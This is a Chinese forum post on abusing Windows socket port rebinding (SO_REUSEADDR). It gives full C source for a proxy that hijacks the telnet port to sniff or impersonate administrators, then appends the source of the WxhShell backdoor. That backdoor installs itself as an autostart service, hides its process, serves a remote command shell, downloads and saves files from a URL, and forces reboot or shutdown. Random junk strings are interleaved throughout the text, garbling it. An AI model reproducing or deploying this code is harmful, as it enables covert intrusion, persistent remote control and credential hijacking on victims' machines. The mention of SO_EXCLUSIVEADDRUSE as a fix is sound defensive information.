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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c?CwxI_b8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jU)r~QhN  
QOlm#S  
  saddr.sin_family = AF_INET; A|CW4f,  
5,I'6$J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5(1Zj`>'  
T.d+@ZV<#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #R"9(Q&  
?}m/Q"!1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Tc,Bv7:  
v#a`*^ ^  
  这意味着什么?意味着可以进行如下的攻击: (u@[}!  
GbwcbfH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a)MjX<y  
lu`\6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z6!MX_ep  
oR5hMu;j+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N $M#3Y;  
49bzHEqZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gq*- v:P>  
R/waWz\D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ht5 %fcD  
ro6|N?'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *SzP7]1m  
A5!j rSyv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HD IB GG~  
[V  T&  
  #include 7fLLV2  
  #include H4 Ca+;  
  #include 5znLpBX<N  
  #include    {W3%n*q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T3[\;ib}  
  int main() *!,+%0  
  { _J 6|ju\  
  WORD wVersionRequested; 3%/]y=rA  
  DWORD ret; a^'1o9  
  WSADATA wsaData; <P'^olQ  
  BOOL val; DIB Az s  
  SOCKADDR_IN saddr; hmtRs]7  
  SOCKADDR_IN scaddr; mn{8"@Z  
  int err; P!,\V\TY]  
  SOCKET s; p>Ju)o  
  SOCKET sc; <]b}R;9v  
  int caddsize; brb8C%j}9  
  HANDLE mt; #E2`KGCzW  
  DWORD tid;   z_*]joL  
  wVersionRequested = MAKEWORD( 2, 2 ); g:q+.6va"  
  err = WSAStartup( wVersionRequested, &wsaData ); |b;}' *  
  if ( err != 0 ) { WHBQA\4  
  printf("error!WSAStartup failed!\n"); K?BWl:^x  
  return -1; !w[<?+%%n  
  } -3/:Dk`3  
  saddr.sin_family = AF_INET; LXVm0IOFF  
   7,!Mmu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aj20, w  
^8o'\V"m^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w eT33O"!1  
  saddr.sin_port = htons(23); nUQcoSY#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PkLRQ}  
  { ?6p6OB  
  printf("error!socket failed!\n"); jm =E_86_  
  return -1; w^ui%9 &6H  
  } 5hB&]6n  
  val = TRUE; %+w>`k3(N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]"dZE2!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q0gO1 T  
  { ,M>W)TSH  
  printf("error!setsockopt failed!\n"); %\}|&z6  
  return -1; j+*VP  
  } -]Z!_[MlDF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dY~3 YD[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L:`|lc=^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 394u']M  
hEl)BRJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p[0Ws460  
  { |^S[Gr w  
  ret=GetLastError(); 8.o[K  
  printf("error!bind failed!\n"); 'M_8U0k  
  return -1; 7V4 iPx  
  } j~\\,fl=  
  listen(s,2); ({m["d  
  while(1) <s9Sx>Zb  
  { {Xwin $C  
  caddsize = sizeof(scaddr); (8GJLs 8  
  //接受连接请求 HNY{%D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (dpBGt@  
  if(sc!=INVALID_SOCKET) `y;&M8.  
  { ;)83tx /  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nkS6A}i3o  
  if(mt==NULL) r4J4|&ym  
  { Uk S86`.  
  printf("Thread Creat Failed!\n"); PX?tD:,[-  
  break; PaMi5Pq  
  } J0@m Ol  
  } To}L%)  
  CloseHandle(mt); aMm`G}9n  
  } OMJr.u  
  closesocket(s); !h?N)9e  
  WSACleanup(); /P^@dL  
  return 0; 36J)O-Ti  
  }   7; T S  
  DWORD WINAPI ClientThread(LPVOID lpParam) A~*Wr+pv  
  { O5_E"um  
  SOCKET ss = (SOCKET)lpParam; 3`^ ]#Dh  
  SOCKET sc; %04>R'mN  
  unsigned char buf[4096]; (niZN_qv  
  SOCKADDR_IN saddr; 8uyVx9C0  
  long num; 4z#CkT  
  DWORD val; 9tl Fbu  
  DWORD ret; lDMYDy{<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~+l%}4RZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    vFl|  
  saddr.sin_family = AF_INET; q?} G?n 4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G`6U t  
  saddr.sin_port = htons(23); o|^0DYb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qaw5<  
  { OX8jCW  
  printf("error!socket failed!\n"); 2q2wo&uK  
  return -1; [USXNe/  
  } BOt\"N  
  val = 100; 5wGyM10  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ip1jY!   
  { F4bF&% R  
  ret = GetLastError(); 3vrQY9H>  
  return -1; S1$\D!|1  
  } M$! 0ikh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qn+mlduU  
  { 2GZUMXK  
  ret = GetLastError(); ?W.Y x7c  
  return -1; r9b`3yr=  
  } azE>uEsE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ir0er~f+z  
  { ~x4Y57  
  printf("error!socket connect failed!\n"); XZKOBq B]  
  closesocket(sc); 0&5}[9?V'  
  closesocket(ss); 5O*+5n  
  return -1; vP,WV9Q1u  
  } ZO}V}3  
  while(1) WZFV8'  
  { !knYD}Rxd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v- {kPc=:#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9oGsrC lH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2<.}]yi  
  num = recv(ss,buf,4096,0); Crww\#E;  
  if(num>0) @|d|orMC  
  send(sc,buf,num,0); j&44wuf  
  else if(num==0) E"w7/k#3}C  
  break; d6M d~$R  
  num = recv(sc,buf,4096,0); yTZbJx?m  
  if(num>0) ?cpID8Z  
  send(ss,buf,num,0); nY~CAo/:  
  else if(num==0) A#8/:t1AW  
  break; TcGxm7T  
  } Ex<-<tY  
  closesocket(ss); h|jsi*4NnL  
  closesocket(sc); /8GVu7  
  return 0 ;  gZvl D  
  } ap=M$9L'  
wk-ziw  
e|{6^g<ru  
========================================================== 7H./o Vl  
4!E6|N%f  
下边附上一个代码,,WXhSHELL 3S <5s}  
LrK6*y,z  
========================================================== ^WUF3Q**OU  
KU$.m3A>  
#include "stdafx.h" %=_ Iq\lC  
.CmwR$u&  
#include <stdio.h> G>H&M#7K  
#include <string.h> B)Gm"bLCOZ  
#include <windows.h> RL>[t  
#include <winsock2.h> u2BVQ<SA  
#include <winsvc.h> @BBqH&<`  
#include <urlmon.h> kw1PIuz4&  
fxyPh  
#pragma comment (lib, "Ws2_32.lib") YY$K;t{dk  
#pragma comment (lib, "urlmon.lib") ( R Ttz  
^oPf>\),C  
#define MAX_USER   100 // 最大客户端连接数 w^P4_Yr  
#define BUF_SOCK   200 // sock buffer #  ,GpZ  
#define KEY_BUFF   255 // 输入 buffer 4qiG>^h9  
fMhMB |W.  
#define REBOOT     0   // 重启 ~6{;3"^<  
#define SHUTDOWN   1   // 关机 1p`XK";g  
d}IVYI  
#define DEF_PORT   5000 // 监听端口 qhiQ!fMQ  
1<ZvHv  
#define REG_LEN     16   // 注册表键长度 ~` #t?1SP  
#define SVC_LEN     80   // NT服务名长度 J/ <[irC  
HR)joD*q;[  
// 从dll定义API UB(Q &U_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =yvyd0|35  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nluy]h &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IO|">a6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @S<=Okrlj  
glPOW  
// wxhshell配置信息 &LHQ) ?  
struct WSCFG { QT^W00h  
  int ws_port;         // 监听端口 =U3 !D;XP  
  char ws_passstr[REG_LEN]; // 口令 Vc c/  
  int ws_autoins;       // 安装标记, 1=yes 0=no \jZvP`.2  
  char ws_regname[REG_LEN]; // 注册表键名 [ @&  
  char ws_svcname[REG_LEN]; // 服务名 +7d%)t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zziujs:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c,4UnEoCR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VO[s:e9L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UPUO8W)<Z6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )!){4c/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ImyB4welo  
p\1[cz)B  
}; P+,\x&Vr  
Y }Rx`%X  
// default Wxhshell configuration ^|-xmUC  
struct WSCFG wscfg={DEF_PORT, %/-Z1Nv*#  
    "xuhuanlingzhe", }4  5|  
    1, Xn9TQ"[4  
    "Wxhshell", ZGe+w](  
    "Wxhshell", TV0(uMZ0+'  
            "WxhShell Service", N>'1<i?  
    "Wrsky Windows CmdShell Service", M[@).4h  
    "Please Input Your Password: ", q2Ax-#  
  1, v8Bi1,g  
  "http://www.wrsky.com/wxhshell.exe", 9Clddjf?c  
  "Wxhshell.exe" ID E3>D  
    }; )9{?C4NQ  
uhbo/7d'7  
// 消息定义模块 ePP-&V"`"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `6?r.;wj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M)!8 `]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $DJp|(8  
char *msg_ws_ext="\n\rExit."; 4%aODr8  
char *msg_ws_end="\n\rQuit."; v%VCFJ  
char *msg_ws_boot="\n\rReboot..."; ,H'O`oV!1E  
char *msg_ws_poff="\n\rShutdown..."; .3Jggp  
char *msg_ws_down="\n\rSave to "; ijw'7d|,  
4Fgy<^94`  
char *msg_ws_err="\n\rErr!"; pMHY2t  
char *msg_ws_ok="\n\rOK!"; TGY^,H>J  
e(@YBQ/Z  
char ExeFile[MAX_PATH]; B!jT@b{  
int nUser = 0; w(]Q `  
HANDLE handles[MAX_USER]; #O7|&DqF{  
int OsIsNt; t.v@\[{ -  
DO'$J9;*  
SERVICE_STATUS       serviceStatus; r%}wPN(?D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GE\@mu *pO  
!rlN|HB  
// 函数声明 hug8Hhf_&  
int Install(void); J0~Ha u  
int Uninstall(void); _S7GkpoK  
int DownloadFile(char *sURL, SOCKET wsh); t \kI( G  
int Boot(int flag); wv|:-8V  
void HideProc(void); /lCn^E6-  
int GetOsVer(void); NmthvKhH   
int Wxhshell(SOCKET wsl); 3b (I~  
void TalkWithClient(void *cs); qY]IX9'kV  
int CmdShell(SOCKET sock); 'QFf 7A  
int StartFromService(void); ~Y<x-)R  
int StartWxhshell(LPSTR lpCmdLine); [RiCa  
8p  }E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zjs@7LN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]7}2"?J4v  
k%?wNk>  
// 数据结构和表定义 7Co }4  
SERVICE_TABLE_ENTRY DispatchTable[] = gm B?L0UV  
{ kep.+t[  
{wscfg.ws_svcname, NTServiceMain}, ZY-W~p1:G  
{NULL, NULL} m*tmmP4R  
}; y,v*jE  
ZC'(^liAp  
// 自我安装 `So*\#\T  
int Install(void) ;?"2sS!AHQ  
{ W! v8'T  
  char svExeFile[MAX_PATH]; j y R 9a!  
  HKEY key; \b?z\bC56  
  strcpy(svExeFile,ExeFile); R R<92R  
s"#>Xc  
// 如果是win9x系统,修改注册表设为自启动 ^P >; %  
if(!OsIsNt) { yxh8sAZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SxcNr5F   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r%A-  
  RegCloseKey(key); 02q]^3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |f;u5r!^=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DfgqB3U[  
  RegCloseKey(key); l'n"iQ!G  
  return 0; `6koQZm  
    } xH#R_  
  } N '2Nv  
} [GJ_]w^}j  
else { O$ui:<]dS  
}"BXqh"\`  
// 如果是NT以上系统,安装为系统服务 Xn^gxOPM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #?-2f{  
if (schSCManager!=0) w K0vKdi  
{ &[ejxK"  
  SC_HANDLE schService = CreateService GawQ~rD  
  ( *J,VvO 9  
  schSCManager, =S7Xj`/  
  wscfg.ws_svcname, Y4 q;  
  wscfg.ws_svcdisp, o<Hk/e~  
  SERVICE_ALL_ACCESS, bim}{wMb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HfEU[p7)  
  SERVICE_AUTO_START, #lXwBfBMf  
  SERVICE_ERROR_NORMAL, ;DbEP.%u$  
  svExeFile, sw A^oU  
  NULL, tjYqdbA)  
  NULL, Wv!#B$J~U  
  NULL, J3`a}LyDf  
  NULL, CR3<9=Lv>  
  NULL I~ Q2jg2  
  ); If[4]-dq  
  if (schService!=0) (U bz@s^  
  { KG7 ~)g  
  CloseServiceHandle(schService); x{y}pH"H  
  CloseServiceHandle(schSCManager); [H ^ ktF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W !TnS/O_1  
  strcat(svExeFile,wscfg.ws_svcname); =UY)U-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +P YX.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &5k$ v^W5  
  RegCloseKey(key); Uj]Tdg  
  return 0; !C ]5_  
    } 84(NylZ  
  } zM:&`6;e  
  CloseServiceHandle(schSCManager); %%d3M->C}  
} mmSC0F  
} v0psth?qV  
'YKyY:eZ  
return 1; iN\m:m  
} rBY)rUDd4  
n[|*[II  
// 自我卸载 CYkU-  
int Uninstall(void) %0-fn'  
{ f7&53yZF  
  HKEY key; ?xkw~3Yfi  
OGA_3|[S   
if(!OsIsNt) { )67pBj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }J_"/bB  
  RegDeleteValue(key,wscfg.ws_regname); GhlbYa  
  RegCloseKey(key); (}!xO?NA(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v*Dz4K#  
  RegDeleteValue(key,wscfg.ws_regname); S1d^mu  
  RegCloseKey(key); ML:Zm~A1U  
  return 0; kh7RQbNY<I  
  } kJP` C\4}f  
} ICvl;Q  
} As}3VBd  
else { HGiO}|q :  
A-6><X's6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +mu.W r  
if (schSCManager!=0) Q L 1e  
{ I-glf?F)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PH1jN?OEwZ  
  if (schService!=0) fpPB_P{Ua  
  { P* Z1Rs_  
  if(DeleteService(schService)!=0) { \86:f<)P  
  CloseServiceHandle(schService); 7M.TLV!f]  
  CloseServiceHandle(schSCManager); w %2|Po5  
  return 0; fK 4,k:YC  
  } #qnK nxD  
  CloseServiceHandle(schService); !_P-?u  
  } h 2QJQ|7a  
  CloseServiceHandle(schSCManager); N{}o*K  
} IE*5p6IM~  
} bxc!x>)  
}VU7wMk  
return 1; oF(=@UL  
} )k~{p;Ke  
V\m51H1mqo  
// 从指定url下载文件 -s_=4U,  
int DownloadFile(char *sURL, SOCKET wsh) i6-&$<  
{ 77/j}Pxh  
  HRESULT hr; .-mlV ^  
char seps[]= "/"; RD_l  
char *token; m=#<   
char *file; @xkI?vK6  
char myURL[MAX_PATH]; na`8ulN_  
char myFILE[MAX_PATH]; FdE9k\E#/)  
5T-CAkR{n  
strcpy(myURL,sURL); 3d;w\#? L;  
  token=strtok(myURL,seps); C'&t@@:  
  while(token!=NULL) 5M= S7B3=  
  { i}_d&.DbF  
    file=token; *USzzLq  
  token=strtok(NULL,seps); ;/~%D(  
  } !4"<:tSO  
FNHJHuTe  
GetCurrentDirectory(MAX_PATH,myFILE); #+SdX[ N  
strcat(myFILE, "\\"); dMDSyd<(  
strcat(myFILE, file); 5cZKk/"Ad}  
  send(wsh,myFILE,strlen(myFILE),0); |n~Vpy  
send(wsh,"...",3,0); r.10b]b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w@$_2t  
  if(hr==S_OK) Vd+5an?  
return 0; ibxtrt=  
else lFc4| _c g  
return 1; L.$+W}  
wg{Y6X yH  
} nOdAp4{:q%  
9 Xx4,#?  
// 系统电源模块 Yvxp(  
int Boot(int flag) >YP]IQ  
{ V1>>]]PS  
  HANDLE hToken; P#x]3j]  
  TOKEN_PRIVILEGES tkp; pNzpT!}H>  
HH aerc  
  if(OsIsNt) { F<^93a9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nk/Ms:57y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gA~faje  
    tkp.PrivilegeCount = 1; d$*SVd:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J6*B=PX=(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n+;PfQ|  
if(flag==REBOOT) { 8- ]7>2?_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5jBBk*/\  
  return 0; Mb[4G>-v=  
} :fE*fU@  
else { "K*+8 IO2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^_^rI+cTX1  
  return 0; d8T,33>T  
} rXR}]|;>  
  } tf@x}  
  else { dk9nhS+faJ  
if(flag==REBOOT) { t?j2Rw3f`I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @5-+>\Hd^t  
  return 0; ds9`AiCW>  
} 59I}  
else { C'$}!p70  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K\GIh8L  
  return 0; M B,P#7|  
} ,.+"10=N.  
} 'd@Vusq}2  
5bzYTK&-  
return 1; T6ZJSKM  
} @9rmm)TZ  
;ckv$S[p  
// win9x进程隐藏模块 XU#nqvS`.  
void HideProc(void) 9N'um%J3%s  
{ tK|hC[  
%KmB>9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ptmPO4f  
  if ( hKernel != NULL ) Pk; 9\0k7  
  { E4'D4@\W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B&m?3w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /z4xq'<  
    FreeLibrary(hKernel); Hvq< _&2  
  } []Z| *+=Q  
qpl"j-  
return; CW=-@W7  
} ::vw 1Es  
y tmlG%  
// 获取操作系统版本 HC8{);  
int GetOsVer(void) !+M H?A  
{ uBks#Y*3$  
  OSVERSIONINFO winfo; Hf %;FaJ=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =fHt|}.K  
  GetVersionEx(&winfo); b}$m!c:<8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,7M9f  
  return 1; F ,{nG[PL  
  else =I/J !}.  
  return 0; U &Ay3/  
} ;:9 x.IkxC  
DI}h?Uf ,  
// 客户端句柄模块 RkLH}`#  
int Wxhshell(SOCKET wsl) nwN<Q\]S  
{ z6G^BaT'  
  SOCKET wsh; Sjr(e}*  
  struct sockaddr_in client; (p14{  
  DWORD myID; z<<` 1wqg  
BJj~fNm1Zr  
  while(nUser<MAX_USER) s !8]CV>  
{ >uOc#+5M.  
  int nSize=sizeof(client); 4g1u9Sc0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  b9y E  
  if(wsh==INVALID_SOCKET) return 1; '*3+'>   
FcW ?([l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lp ]d4"L;3  
if(handles[nUser]==0) RV(}\JU  
  closesocket(wsh); "-xC59,  
else cR5<.$aY  
  nUser++; K.z}%a  
  } "4t Ry9q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WejY b;KS  
?|hzAF"U  
  return 0; ,Fr{i1Ky  
} 6PMu;#  
*q0N$}k  
// 关闭 socket _ u:#2K$  
void CloseIt(SOCKET wsh) +u=xBhZ  
{ [U jbox  
closesocket(wsh); tcX7Ua(I`  
nUser--; 2#!$f_  
ExitThread(0); ;OKQP~^iH2  
} .M! (|KE4  
ttw@nv% @  
// 客户端请求句柄 ,!Hl@(  
void TalkWithClient(void *cs) UJm`GO  
{ 7CIje=u.q  
,5\n%J:  
  SOCKET wsh=(SOCKET)cs; #* Hhe>  
  char pwd[SVC_LEN]; q/3}8BJ  
  char cmd[KEY_BUFF]; Va 5U`0  
char chr[1]; qe$K6A%Yd  
int i,j;  ]t=>#  
hW},%  
  while (nUser < MAX_USER) { /d=$,q1  
2~@=ua[|=5  
if(wscfg.ws_passstr) { 7uDUZdJy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~J2Q0Jv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @1 +/r?b  
  //ZeroMemory(pwd,KEY_BUFF); 9e=*jRs]l^  
      i=0; )5t_tPv  
  while(i<SVC_LEN) { p&\uF#I;  
} F.1j!71L  
  // 设置超时 TB[vpTC9)  
  fd_set FdRead; fU}w81oe  
  struct timeval TimeOut; 7/1S5yUr|  
  FD_ZERO(&FdRead); ~9c9@!RA2  
  FD_SET(wsh,&FdRead); VO`A  
  TimeOut.tv_sec=8; < 9MnQ*@  
  TimeOut.tv_usec=0; b#m47yTW9<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4(&'V+o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x -!FS h8q  
?4Lo"igAA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L8G4K)  
  pwd=chr[0]; q- Qws0\v.  
  if(chr[0]==0xd || chr[0]==0xa) { G#V22Wca8  
  pwd=0; \\qg2yI  
  break; <H)@vW]_  
  } (+_J0i t  
  i++; f+6l0@K2  
    } uS'ji k}  
3KKe4{oG  
  // 如果是非法用户,关闭 socket LTe7f8A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H1[aNwLr  
} agYK aM1N  
6!nb)auVi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D'h2 DP!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .%rR  
6`C27  
while(1) { DX"; v J  
*ls6#j@  
  ZeroMemory(cmd,KEY_BUFF); *eP4dGe&  
aK{\8L3]  
      // 自动支持客户端 telnet标准   76b7-Nj"  
  j=0; !iVFzG @m  
  while(j<KEY_BUFF) { h+UscdU l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xgz87d/<:  
  cmd[j]=chr[0]; j,xPN=+hT  
  if(chr[0]==0xa || chr[0]==0xd) { zq.&Mw?  
  cmd[j]=0; dYd~9  
  break; Q*.FUV&;  
  } [,^dM:E/  
  j++; !5j3gr ~  
    } $:[BB ,$  
>!1f`  
  // 下载文件 e<4z)  
  if(strstr(cmd,"http://")) { :dN35Y]a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _oTT3[7P  
  if(DownloadFile(cmd,wsh)) 8>Z$/1Mh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ib \[ ~rg  
  else o%%x'uC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iv72;ZCh?6  
  } "t:.mA<v  
  else { cWO )QIE  
AvE^ F1  
    switch(cmd[0]) { @>2rz  
  7;'.5,-3c  
  // 帮助 xzl4v=7  
  case '?': { MLBg_<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g[au-.:  
    break; ~f10ZB_k>'  
  } 9]@J*A}=l  
  // 安装 1qj%a%R  
  case 'i': { IIQ3|eZ  
    if(Install()) fslk7RlSKg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~,!hE&LE~  
    else 5**5b9bj-9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7G[ GHc>  
    break; e4q k>Cw  
    } EO/cW<uV'  
  // 卸载 }gi1?a59  
  case 'r': { Z#Zzi5<  
    if(Uninstall()) aI{@]hCo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N(-%"#M$  
    else ;}eEG{`Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EkStb#  
    break; !|<f%UO  
    } O3C)N I\i  
  // 显示 wxhshell 所在路径 (2S!$w%  
  case 'p': { H]i+o6  
    char svExeFile[MAX_PATH]; $qlqW y-s  
    strcpy(svExeFile,"\n\r"); bOxjm`B<  
      strcat(svExeFile,ExeFile);  _WDBG  
        send(wsh,svExeFile,strlen(svExeFile),0); m{lRFKx>s  
    break; 2>MP:yY;K  
    } bm tJU3Rm  
  // 重启 W -C0 YU1  
  case 'b': { N t>HztXd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7<R6T9g  
    if(Boot(REBOOT)) ;H y!0n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /md Q(Dm  
    else { yA !3XUi  
    closesocket(wsh); 5gc:Y`7t  
    ExitThread(0); ]*g ss'N  
    } )-Mn"1ia  
    break; dEQReD  
    } lrmt)BLoh  
  // 关机 2w x[D  
  case 'd': { 3Y1TQ;i,wQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s=q%:uCO  
